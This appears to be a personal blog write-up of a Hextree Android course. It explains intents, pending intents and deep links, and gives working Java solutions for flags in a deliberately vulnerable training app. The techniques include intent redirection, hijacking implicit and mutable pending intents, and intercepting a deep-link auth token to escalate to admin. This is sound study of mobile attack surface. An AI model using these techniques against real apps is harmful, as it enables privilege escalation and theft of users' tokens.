Skip to main content
  1. Posts/

Android - Intent Attack Surface

·27 mins
android mobile
Table of Contents

Preface
#

Similar to the last few android pentesting blog posts - this is heavily based off of the Hextree.io course on the topic. I am documenting this simply to help myself practice and try to understand the topics on a deeper level.

What is an Activity?
#

The Android Developers documentation states that an activity is a:

“Single, focused thing that a user can do. Almost all activities interact with the user, so the Activity class takes care of creating a window for you in which you can place your UI with setContentView(View).

Given that most apps contain multiple screens, you can think of them as having multiple activities. When we make a new project in android studio with an empty views activity - the default MainActivity class extends (inherits attributes and methods from) the AppCompatActivity class.

You can also see these Activities declared in the AndroidManifest.xml file:

intent-1

Here we can see that the MainActivity has an attribute called exported set to be true - this means any app can access the activity and launch it by its exact class name. So in terms of your attack surface, when you are looking through an APK you should be on the lookout for exported activities that you can access.

Why should I be on the lookout for these anyways? How can an attacker provide inputs to these functions and manipulate their behavior?

That question is how we get into Intents.

What is an Intent?
#

These are probably the most important concept for hacking android applications - so I apologize if my explanation is not sufficient or legible enough to make sense.

The documentation describes intents as “A messaging object that you can use to request an action from another app component.” The three fundamental use cases of this would be to start an activity, start a service, or deliver a broadcast.

It might be more straight forward to think of an intent as your application declaring to the Android OS that it wants to perform some action - then the Android OS determines which applications can handle that action.

We can practice this within the scope of our own application by mapping an Intent to a button that starts another activity.

First I configured my MainActivity to include a button to launch an activity:

intent-2

We can make an additional SecondActivity in the form of an empty views activity. All I did here was change the text displayed so when we run the program it is easy to determine if it worked:

intent-3

Then back in the MainActivity.java file we can add the following:

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);
        ((Button) findViewById(R.id.btn_launch_activity)).setOnClickListener(new View.OnClickListener(){
            @Override
            public void onClick(View v){
                Intent intent = new Intent(MainActivity.this, SecondActivity.class);
                startActivity(intent);
            }
        });
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
            return insets;
        });
    }
}

So when we launch our app in MainActivity, the view is set to activity_main, which is expected. Then, we add the following:

((Button) findViewById(R.id.btn_launch_activity)).setOnClickListener(new View.OnClickListener(){
    @Override
    public void onClick(View v){
        Intent intent = new Intent(MainActivity.this, SecondActivity.class);
        startActivity(intent);
    }
});

This above code uses findViewById to cast btn_launch_activity to the Button type. Then we can use setOnClickListener to assign a click listener to the button. Now in the nested portion, we use the onClick method so that when the button is clicked it opens the specified view. We make an intent and pass in the current app context (MainActivity.this) and the target class we want to call (SecondActivity.class). Then we call startActivity(intent) so that when the button is clicked the intent opens the second activity.

Now if we launch the app we can see that when I click the button it will open the SecondActivity view:

intent-gif

This is the way you will find intents being called from within an application, however attackers will want to call the intent from other target applications. For this we will need the full class name of the activity - where we can then create the intent with those values. Here is how that can be done:

@Override  
public void onClick(View v){  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.activitiestest", "io.hextree.activitiestest.SecondActivity"));  
    startActivity(intent);  
}

While this works, it is important to keep in mind that we are calling this from inside the app, so it doesn’t matter that in the manifest, the second activity is not exported:

<activity  
    android:name=".SecondActivity"  
    android:exported="false" 
/>

Let’s assume that the second activity had a bit more logic. You might see something like this where the intent object that was used to start an activity is accessible to the app via the getIntent() function:

public class SecondActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_second);
        Intent intent = getIntent();
        if(intent != null){
            int pass = intent.getIntExtra("goodpassphrase", -1);
            if(pass == 1234) {
                ((TextView) findViewById(R.id.txt_second)).setText("Correct Value Submitted!");
            }
        }
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
            return insets;
        });
    }
}

So in this case when an incoming intent is identified, the activity checks to see if the intent contains an extra in the form of an integer named goodpassphrase. If the value of the integer is equal to 1234 the text on the page will be changed. We can just add these details to the intent that we send in MainActivity like this:

public void onClick(View v){  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.activitiestest", "io.hextree.activitiestest.SecondActivity"));  
    intent.putExtra("goodpassphrase",1234);  
    startActivity(intent);  
}

This will fulfill the expectations set by SecondActivity and we can see the new message displayed. We can immediately put these skills to the test by experimenting with the vulnerable intents app covered in the course here.

Flag 1 - Basic Exported Activities
#

Once you’ve got the app installed we can try and call some of these intents and get the flags. Let’s begin by looking at the APK in jadx:

intent-4

We can already see that the first flag’s activity is exported - so we can call it from an external application. If we click on that activity we can see it’s logic:

intent-5

We should be able to just modify our code to call it:

@Override  
public void onClick(View v){  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag1Activity"));  
    startActivity(intent);  
}

Running this and clicking the button gets us the first flag:

intent-6

Flag 2 - Intents With Extras
#

If we look in jadx we can see that this activity is also exported so we should be able to call it externally. We can look at the activity itself ans see what needs to happen to reveal the flag:

intent-7

So we need to set our action equal to io.hextree.action.GIVE_FLAG. We can’t edit it in the android manifest file because the main activity won’t run that way. We can modify it using the information here:

@Override  
public void onClick(View v){  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag2Activity"));  
    intent.setAction("io.hextree.action.GIVE_FLAG");  
    startActivity(intent);  
}

Again this fulfills those conditions and we get the flag - pretty simple so far:

intent-8

Flag 3 - Intent with a Data URI
#

This one seems pretty similar to the last one with the only difference being that we also need to send some URI data:

intent-9

We can just add this to the program using the setData() function:

@Override  
public void onClick(View v){  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag3Activity"));  
    intent.setAction("io.hextree.action.GIVE_FLAG");  
    intent.setData(Uri.parse("https://app.hextree.io/map/android"));  
    startActivity(intent);  
}

This works and when we click the button we send the intent, fulfill the conditions and get the flag:

intent-10

Flag 4 - State Machine
#

We first make some changes and add a Utils class to our project so we get some extra debugging functionality. This is found on the corresponding page in the hextree course. Now that we’ve done that we can try to understand what we need for this flag:

intent-11

So our state will get set to INIT, then we need to set it on our own to PREPARE_ACTION, then BUILD_ACTION, then GET_FLAG - we can still do this manually by modifying setAction and re-compiling the application. I found it was easier to make an array of actions and send the intent on each button press while incrementing the state each time:

public class MainActivity extends AppCompatActivity {  
  
    private static final String[] ACTIONS = {  
            "PREPARE_ACTION",  // INIT -> PREPARE  
            "BUILD_ACTION",    // PREPARE -> BUILD  
            "GET_FLAG_ACTION", // BUILD -> GET_FLAG  
            "ANY_ACTION"       // GET_FLAG -> Trigger success  
    };  
  
    private int currentStateIndex = 0; // Track the current state  
  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        EdgeToEdge.enable(this);  
        setContentView(R.layout.activity_main);  
  
        Intent intent = new Intent();  
        Utils.showDialog(this,intent);  
  
        ((Button) findViewById(R.id.btn_launch_activity)).setOnClickListener(new View.OnClickListener(){  
            @Override  
            public void onClick(View v){  
                Intent intent = new Intent();  
                intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));    
                intent.setAction(ACTIONS[currentStateIndex]);  
                startActivity(intent);  
                currentStateIndex = (currentStateIndex + 1) % ACTIONS.length;
            }  
        });  
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {  
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());  
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);  
            return insets;  
        });  
    }  
}

So - we just run the app and press the button, which will open the intent attack surface app so you just need to go back and press the button three more times to call get us where we need to be in the state machine - satisfying the flag’s conditions:

intent-12

Flag 5 - Intent in Intent
#

Let’s look at the source:

intent-13

The solution for this one is a bit more difficult to understand in my opinion. We need to make an intent that includes the ‘android.intent.extra.INTENT’ data, but also adds an additional intent. In this case intent2, this must have the extra called return set to 42. This intent2 must also include an intent3 which has the reason extra set to back, but when adding this intent it must declare it as nextIntent. We can implement that logic like this:

@Override  
public void onClick(View v){  
    Intent intent2 = new Intent();  
    intent2.putExtra("return",42); // STEP 2) Set the return value to 42.
  
    Intent intent3 = new Intent();  
    intent3.putExtra("reason","back"); // STEP 4) Set the 'reason' for the nested intent to 'back'.
  
    intent2.putExtra("nextIntent", intent3); // STEP 3) call the next intent (intent3) "nextIntent" and send it over.
  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));  
    intent.putExtra("android.intent.extra.INTENT",intent2); // STEP 1) Make an intent that specifies the extra and calls the next intent.
    startActivity(intent); // STEP 5) Call the initial intent - kicking off the chain. 
}

This works and we get our flag:

intent-14

Flag 7 - Activity Lifecycle Tricks
#

Let’s look at the code:

intent-15

Seemingly we just need to send two intents - one saying OPEN and the other saying REOPEN. Trying that though doesn’t seem to work because I failed to look at the second class enough. The onNewIntent method being used here means that when the activity is re-launched while at the top of the stack (so - the app can’t close) then onNewIntent will be called on the existing instance with the intent that was used to re-launch it.

So we can implement the following code, which in my testing needed a slight delay to ensure that there was enough time to log and wait for the second request:

public void onClick(View v){  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity"));  
    intent.setAction("OPEN");  
    startActivity(intent);  
  
    v.postDelayed(() -> {  
        Intent intent2 = new Intent();  
        intent2.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity"));  
        intent2.setAction("REOPEN");  
        intent2.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);  
        startActivity(intent2);  
    }, 100);  
}

Then upon clicking the button we see a failure, then after a short delay it should get the flag:

intent-16

Common Intent Vulnerabilities
#

Now that we’ve covered some pretty basic instances of how you can call exported activities using intents, let’s go over some more interesting vulnerabilities that may be present. An Intent Redirect (sometimes called Intent Forwarding) is a case where an attacker can control an intent used by another app to perform some sensitive action - like starting another activity. We can actually see an example of this back in the Flag5Activity:

intent-17

Before when we called this intent we set the nested intent’s reason to back, which triggered the success condition we wanted. We can use this knowledge try to complete the challenge for flag 6.

Flag 6 - Not Exported
#

As the title explains, this activity is not exported, so wen can’t just call it from our malicious app:

intent-18

Let’s examine the Flag6Activity logic:

intent-19

So all we need to do is make it so our nested intent from Flag5Activity gets passed to the Flag6Activity with this special tag set:

public void onClick(View v){  
    Intent intent2 = new Intent();  
    intent2.putExtra("return",42); // STEP 2) Set the return value to 42.  
  
    Intent intent3 = new Intent();  
    intent3.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag6Activity"));  
    intent3.putExtra("reason","next"); // STEP 4) Set the 'reason' for the nested intent to 'next'.  
    intent3.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); // STEP 5) Set the tag we need for flag 6 to get called.  
  
    intent2.putExtra("nextIntent", intent3); // STEP 3) call the next intent (intent3) "nextIntent" and send it over.  
  
    Intent intent = new Intent();  
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));  
    intent.putExtra("android.intent.extra.INTENT",intent2); // STEP 1) Make an intent that specifies the extra and calls the next intent.  
    startActivity(intent); // STEP 5) Call the initial intent - kicking off the chain.  
}

We still perform all the steps to get flag 5, but switch the intent3 to point at Flag6Activity, change the reason to next so it doesn’t solve flag 5 - and swap out the tag. This works and we successfully call this otherwise inaccessible activity using the intent redirection:

intent-20

Returning Activity Results
#

Applications often use intents to reach out and trigger activities within other applications - often times there is a need for two-way communication to get the result of an activity being performed on another app. We can actually follow an example by having our app open the camera when we press the button and get the results back once the photo has been taken:

public class MainActivity extends AppCompatActivity {  
  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        EdgeToEdge.enable(this);  
        setContentView(R.layout.activity_main);  
  
        Intent intent = new Intent();  
        Utils.showDialog(this,intent);  
  
        ((Button) findViewById(R.id.btn_launch_activity)).setOnClickListener(new View.OnClickListener(){  
            @Override  
            public void onClick(View v){  
                Intent intent = new Intent();  
                intent.setAction("android.media.action.IMAGE_CAPTURE");  
                startActivityForResult(intent, 42);  
            }  
        });  
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {  
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());  
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);  
            return insets;  
        });  
    }  
  
    @Override  
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent intent){  
        super.onActivityResult(requestCode, resultCode, intent);  
        Utils.showDialog(this, intent);  
    }  
}

So we are using IMAGE_CAPTURE to get the android operating system to begin letting us take a picture and we pass in the requestCode for 42 so we can identify this later. Outside of our onClick method we can make an onActivityResult method that takes in the request and result codes along the intent itself. This way when the camera app sends our image back (in the form of another intent) we can see what it looks like.

Flag 8 - Did You Expect a Result?
#

This is another exported activity and all we need to do is have the correct name for our calling class:

intent-21

Meeting these conditions is as simple as changing the name of our MainActivity to MainHextreeActivity and calling the Flag8Activity while being prepared to handle the activity result:

public class MainHextreeActivity extends AppCompatActivity {  
  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        EdgeToEdge.enable(this);  
        setContentView(R.layout.activity_main);  
  
        Intent intent = new Intent();  
        Utils.showDialog(this,intent);  
  
        ((Button) findViewById(R.id.btn_launch_activity)).setOnClickListener(new View.OnClickListener(){  
            @Override  
            public void onClick(View v){  
                Intent intent = new Intent();  
                intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag8Activity"));  
                startActivityForResult(intent, 42);  
            }  
        });  
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {  
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());  
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);  
            return insets;  
        });  
    }  
  
    @Override  
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent intent){  
        super.onActivityResult(requestCode, resultCode, intent);  
        Utils.showDialog(this, intent);  
    }  
}

Then when running it we get the flag:

intent-22

Flag 9 - Receive Result with Flag
#

This activity will send us the flag in the intent that it will send back - so we can re-use the last piece of code which fulfills the conditions while changing the target intent:

intent-23

So our code still has the name containing Hextree and we use a request code of 42 which satisfies the conditions. Then the target activity sends an intent to our app and we can see it in the Utils.showDialog window:

intent-24

Hijacking Implicit Intents
#

When we send out intents to start an activity we can do so either explicitly or implicitly.

Explicit - where we specify the app and class needed to handle the intent:

Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag1Activity");
startActivity(intent);

Implicit - where we declare the intention and let the OS find the correct application:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
startActivity(intent);

The way that the OS determines which applications can handle the implicit intent is with the <intent-filter> tags within an activity inside an android manifest. For example, when we perform the image capture with the camera app - the app has the following in its AndroidManifest.xml:

<intent-filter>
	<action android:name="android.media.action.IMAGE_CAPTURE"/>
	<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>

So - if our app can implement these intent filters and meet the conditions of a target application, we could manipulate some data going into that app. Keep in mind that this is the intended functionality of implicit intents, so this isn’t a vulnerability itself but a different attack surface for us to investigate.

From our camera example we expected to get a response back from the camera where that response from the camera was an intent - so if an app sends an implicit intent to a malicious app, that malicious app could return an evil intent that might be handled insecurely.

The flags for these challenges require you to first click on the button in the intent attack surface application which sends the implicit intent into the OS.

Flag 10 - Hijack Implicit Intent with the Flag
#

Let’s examine Flag10Activity:

intent-25

So it seems like as long as we declare an activity to work with the specified intent filter it should work. We can modify our manifest and SecondActivity.java as follows:

<activity  
    android:name=".SecondActivity"  
    android:exported="true">  
    <intent-filter>        
	    <action android:name="io.hextree.attacksurface.ATTACK_ME"/>  
        <category android:name="android.intent.category.DEFAULT"/>  
    </intent-filter>
</activity>
public class SecondActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
    }
}

As you can see, my second activity doesn’t do anything because it doesn’t have to. Flag 10 only needs to be able to find an activity capable of handling the intent - then it will reveal the flag.

intent-26

Flag 11 - Responding to an Implicit Intent
#

We can examine the code:

intent-27

As you can see this is pretty similar to the last one except we need our program to reply with an intent that carries a specific token value.

public class SecondActivity extends AppCompatActivity {  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        Intent resultIntent = new Intent();  
        resultIntent.putExtra("token", 1094795585); // Expected token value  
        setResult(42, resultIntent);  
        finish();  
    }  
}

We make an intent to be returned to the target application that has the extra set on it for the token along with its specified value. We use setResult to say that we want to send the resultIntent we made back to the caller. We can then use finish() to manually close our activity. We then click on the flag 11 button inside the attack surface app and watch the flag pop for us:

intent-28

Flag 12 - Careful Intent Conditions
#

Right off the bat, this one is a bit different because it is an exported activity:

intent-29

If we examine the code this makes a bit more sense:

intent-30

So we first need to send an intent where LOGIN is set to true, then have our second activity send over the token and the specified value.

public class MainHextreeActivity extends AppCompatActivity {  
  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        EdgeToEdge.enable(this);  
        setContentView(R.layout.activity_main);  
  
        Intent intent = new Intent();  
        Utils.showDialog(this,intent);  
  
        ((Button) findViewById(R.id.btn_launch_activity)).setOnClickListener(new View.OnClickListener(){  
            @Override  
            public void onClick(View v){  
                Intent intent = new Intent();  
                intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag12Activity"));  
                intent.putExtra("LOGIN",true);  
                startActivity(intent);  
            }  
        });  
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {  
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());  
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);  
            return insets;  
        });  
    }  
}
public class SecondActivity extends AppCompatActivity {  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        Intent resultIntent = new Intent();   
        resultIntent.putExtra("token", 1094795585); // Expected token value  
        setResult(42, resultIntent);  
        finish();  
    }  
}

Then we launch the app and fire the LOGIN intent with the button from our main activity, then the flag activity will call out second activity which will respond with the token and the value which in turn calls success() and gives us the flag.

intent-31

Pending Intents
#

Pending Intents are intents that allow one app to create a start activity intent and give it to another app to perform the activity with the original app’s level of privilege. The security page also describes it like this:

“Application A can pass a PendingIntent to application B in order to allow application B to execute predefined actions on behalf of application A; regardless of whether application A is still alive.”

These are similar to intent redirects in a few ways but also different in a few other ways. In an intent redirect, Application A creates an intent and includes another intent within that first one - then sending it to application B where startActivity is called. It is important to keep in mind that startActivity would be run with the privileges of application B.

You might use this to determine that pending intents are a kind of mitigation for intent redirection because it forces the next intent to be called with the privileges of application A - and this assumption is correct. The issue now is that if the target application can be made to send a pending intent to our malicious application, we could perform some actions with the privilege level of that target application.

Flag 22 - Receive a Pending Intent
#

We can first see what we need to do to get the flag:

intent-32

This activity is exported so we can call it from our application. The program is set up to see if the intent that was used to start the activity had the PENDING extra set. Once this happens, the program creates a new intent that includes the flag as an extra and sends it back to the calling application within a pending intent.

I initially got pretty stuck trying to solve this challenge because it took me a while to understand the more granular differences in the syntax for pending intents and intents. Here is the code I got working in the end:

public class MainHextreeActivity extends AppCompatActivity {  
  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        EdgeToEdge.enable(this);  
        setContentView(R.layout.activity_main);  
  
        Intent intent = new Intent();  
        intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag22Activity"));  
  
        PendingIntent pendingIntent = PendingIntent.getActivity(this,0,intent,PendingIntent.FLAG_MUTABLE);  
        intent.putExtra("PENDING",pendingIntent);  
  
        ((Button) findViewById(R.id.btn_launch_activity)).setOnClickListener(new View.OnClickListener() {  
            @Override  
            public void onClick(View v) {  
                startActivity(intent);  
            }  
        });  
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {  
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());  
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);  
            return insets;  
        });  
    }  
}

So we first make an intent to send to the flag activity, nothing new there. We then package our intent as a pending intent and send it with the extra PENDING. We need to make sure that the pending intent has the MUTABLE flag set - if we don’t then Flag22Activity won’t be able to modify the intent before sending it back.

We can click the button and the program will send the appropriate pending intent to the target activity, then the target activity sends back our flag - which we can see is received thanks to logging display:

intent-33

Flag 23 - Hijack a Pending Intent
#

This one is far more difficult in my opinion and I was stuck on it for almost an entire day. This one is a non-exported activity so we need to leverage the solution for flag 22 to figure this one out.

intent-34

This code, similar to the last one, gets the intent that called this activity and specifically writes the intent’s action to a string. The program then displays a message to the user in the form of a Toast which is a little pop-up like we have seen before - indicating that the implicit intent with the MUTATE_ME flag is being sent.

Next a new intent (intent2) is created with the action GIVE_FLAG. The second intent is then used with setClassName which makes it an explicit intent for use with Flag23Activity. Then an pending intent is created that when called will execute intent2 and is set with 33554432 as the flag - this is clarified to be the constant value for FLAG_MUTABLE.

Then the third intent (intent3) is created and it is set with the action MUTATE_ME. It then has the pending intent from earlier called activity attached to it as an extra using the key: pending_intent. Then after some logging to the user is performed the third intent activity is started.

Finally, if the input intent action is GIVE_FLAG, the program will check if the incoming intent has an integer named code with a value of 42 - then success will be called and we can get the flag.

We know that we can’t call this activity directly because it isn’t exported - but we can kick off the interactions by clicking it in the attack surface app. This implicit intent will look for an activity to handle MUTATE_ME and we want to make sure that goes to our SecondActivity.

<activity
    android:name=".SecondActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="io.hextree.attacksurface.MUTATE_ME"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</activity>

Once it is there we just need to make sure we perform the following:

  • Grab the intent that starts SecondActivity, which should be intent3
  • Get the extended data from the incoming pending_intent
  • Configure the now ‘unwrapped’ intent2 and send it back with the code set to 42
  • Send the pending intent back with the modified intent2 - possible because the pending intent was mutable
  • This should trigger success and we will get the flag.

Here is the code I used to get the flag:

public class SecondActivity extends AppCompatActivity {  
  
    @Override  
    protected void onCreate(@Nullable Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        setContentView(R.layout.activity_second);  
          
        // Get the intent that started this activity - which should be intent3  
        Intent intent3 = getIntent();  
        String action = intent3.getAction();  
          
        if ("io.hextree.attacksurface.MUTATE_ME".equals(action)) {  
            Toast.makeText(this, "Received MUTATE_ME intent", Toast.LENGTH_SHORT).show();  
  
            // Retrieve the PendingIntent from the extras attached to intent3  
            PendingIntent pendingIntent = intent3.getParcelableExtra("pending_intent");  
            if (pendingIntent != null) {  
                try {  
                    // configure the pending intent (intent2) to fit our conditions  
                    // this is possible because the pending intent containing intent2 has 33554432(FLAG_MUTABLE) set                    
                    Intent intent2 = new Intent();  
                    intent2.putExtra("code", 42);  
  
                    // send the pending intent back with the modified intent2 - containing the conditions needed to get the flag  
                    pendingIntent.send(this, 0, intent2);  
  
                } catch (PendingIntent.CanceledException e) {  
                    e.printStackTrace();  
                }  
            } else {  
                Toast.makeText(this, "PendingIntent not found", Toast.LENGTH_SHORT).show();  
            }  
        }  
    }  
}

This works and we get the flag once we trigger the Flag23Activity using the attack surface app:

intent-35

If you struggled here I highly recommend reading through some of the android developer documentation in addition to this blog post, as these helped me figure it out for myself.

Android Deep Links#

Now that we have gone over the app-to-app attack surface in the form of our malicious app interacting with vulnerable intents, we can now begin going over the activities that can be reached simply by clicking a link. This functionality is done through various types of app links - but the one we will discuss most are the deep links.

A deep link is a URI of any scheme that can take users directly to a specific part of your android app. You can make these by adding intent filters like this:

<activity
    android:name=".MyMapActivity"
    android:exported="true"
    ...>
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="geo" />
    </intent-filter>
</activity>

You’ve probably seen this functionality when sharing something on a mobile device - one good example might be if you are looking up directions and you click on the address in search results, the deep link could just point you to the Google Maps application. Of course if multiple apps have this intent filter and scheme, then a disambiguation dialog could show up to have the user select which app to open.

Why is this included in the blog post about intents?

This example should be enough of an explanation:

Flag 13 - Create a hex://open/link#

We can look at the AndroidManifest.xml file to see what king of scheme this activity uses and if it is browsable:

intent-36

So we know already that we can use a link to navigate to this activity and that it is looking for hex://open or hex://flag. Let’s first explain how this has anything to do with an intent. The course provides us with a link builder which we can use to generate our URIs:

intent-37

When visit this URI, let’s observe the debugging information:

intent-38

Big surprise: this data being sent is in the form of an intent. Now that we know this is handled similarly to an intent, we can look at the code and try to get our flag.

intent-39

So all we really need to do here is click a link like hex://flag?action=give-me and we should be all set.

intent-40
intent-41

The real point that this should drive home is that now we understand that intents are not just accessible from app-to-app communication, but potentially the entire internet. Now the information we can send in a deep link is more limited, but it is a higher severity because you no longer need a victim to install an app. This isn’t the end of the story just yet though.

Hijacking Deep Links#

Similar to hijacking intents, we can declare those attributes to handle a particular deep link using the <intent-filter> in our manifest file for our application. This way when you click a link that can be handled by an application, you will be prompted to choose which app handles it. This is intended functionality but we can practice taking advantage of a login flow in the intent attack surface app.

Flag 14 - Hijack Web Login
#

We begin by examining how the app is interacted with in the AndroidManifest.xml:

intent-42

We can copy this behavior over to our application to make sure that intents designed to go here can be routed to our app instead.

<activity  
    android:name=".DeepLinkActivity"  
    android:exported="true" >  
    <intent-filter>        
	    <action android:name="android.intent.action.VIEW"/>  
        <category android:name="android.intent.category.DEFAULT"/>  
        <category android:name="android.intent.category.BROWSABLE"/>  
        <data            
	        android:scheme="hex"  
            android:host="token"/>  
    </intent-filter>
</activity>

We go into the intent attack surface app and click on the flag 14 activity:

intent-43

If we select the intent attack surface app we don’t satisfy the conditions to get the flag. If we select out app which just contains the following code:

public class DeepLinkActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_deep_link);

        Intent intent = getIntent();
        Utils.showDialog(this,intent);

        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
            return insets;
        });
    }
}

We will see the following intent details:

intent-44

So we know now that our link should look something like this:

hex://token?authToken=598cc075e4379d027f61c02866917c6f1d992c67&type=user&authChallenge=604b5c73-b10b-4254-a4dc-a92fd87426f1

We can look at the code for the activity to learn more about how this incoming intent should be handled to get the flag:

intent-45

So the activity takes the incoming intent and writes it to a URI called data and turns each query parameter into a string. Then the application then checks that the incoming authToken parameter is correct and will only give us the flag if the type parameter is set to admin.

There are a few ways to solve this, the first time I did this I manually constructed an intent that would send this information in a constructed link back to the target but I came up with a more elegant solution this time around:

//in my DeepLinkActivity
if(intent.getAction().equals("android.intent.action.VIEW")){  
    Uri data = intent.getData();  
    if (data != null && data.getScheme().equals("hex") && data.getHost().equals("token")) {  
        Intent newIntent = new Intent();  
        newIntent.fillIn(intent,Intent.FILL_IN_DATA | Intent.FILL_IN_ACTION | Intent.FILL_IN_CATEGORIES);  
        newIntent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag14Activity"));  
        newIntent.setData(Uri.parse(newIntent.getDataString().replace("type=user","type=admin")));  
        startActivity(newIntent);  
    }  
}

We take the incoming intent so long as it matches the specific action we know it will have, then we make a Uri called data that contains the data from the incoming deeplink intent. We validate that the incoming data fits the hex scheme and token host and we then create an intent. We can use the fillIn() public method to copy the contents of the incoming intent to our newIntent. We use the FILL_IN_DATA and other similar flags to ensure that the data, action, and categories are all overwritten in the new intent.

Then we set the component name and replace the user piece of data with admin, which should get us the flag once we trigger the deep link:

intent-46

Chrome Intent Scheme
#

One thing you might see while out and about testing is a chrome intent, which looks like this:

intent:  
   HOST/URI-path // Optional host  
   #Intent;  
      package=\[string\];  
      action=\[string\];  
      category=\[string\];  
      component=\[string\];  
      scheme=\[string\];  
   end;

This is essentially an explicit deep link that lets you specify things like the package, action, category, and component - but we can still call these so long as we know the right parameters.

Flag 15 - Create an intent:// Link#

We know from just the location what most of the parameters need to be, but we can get the rest from the source code:

intent-47

We can encode the strings and boolean by using S.param and B.param respectively. Making the intent link itself is pretty straightforward:

intent:#Intent;package=io.hextree.attacksurface;action=io.hextree.action=GIVE_FLAG;category=io.hextree.category.BROWSABLE;component=io.hextree.attacksurface.activities.Flag15Activity;S.action=flag;B.flag=true;end;

The issue is that we can’t call this in the normal link builder that they gave us because we don’t use a host name for our app. We can instead get this parsed using adb shell:

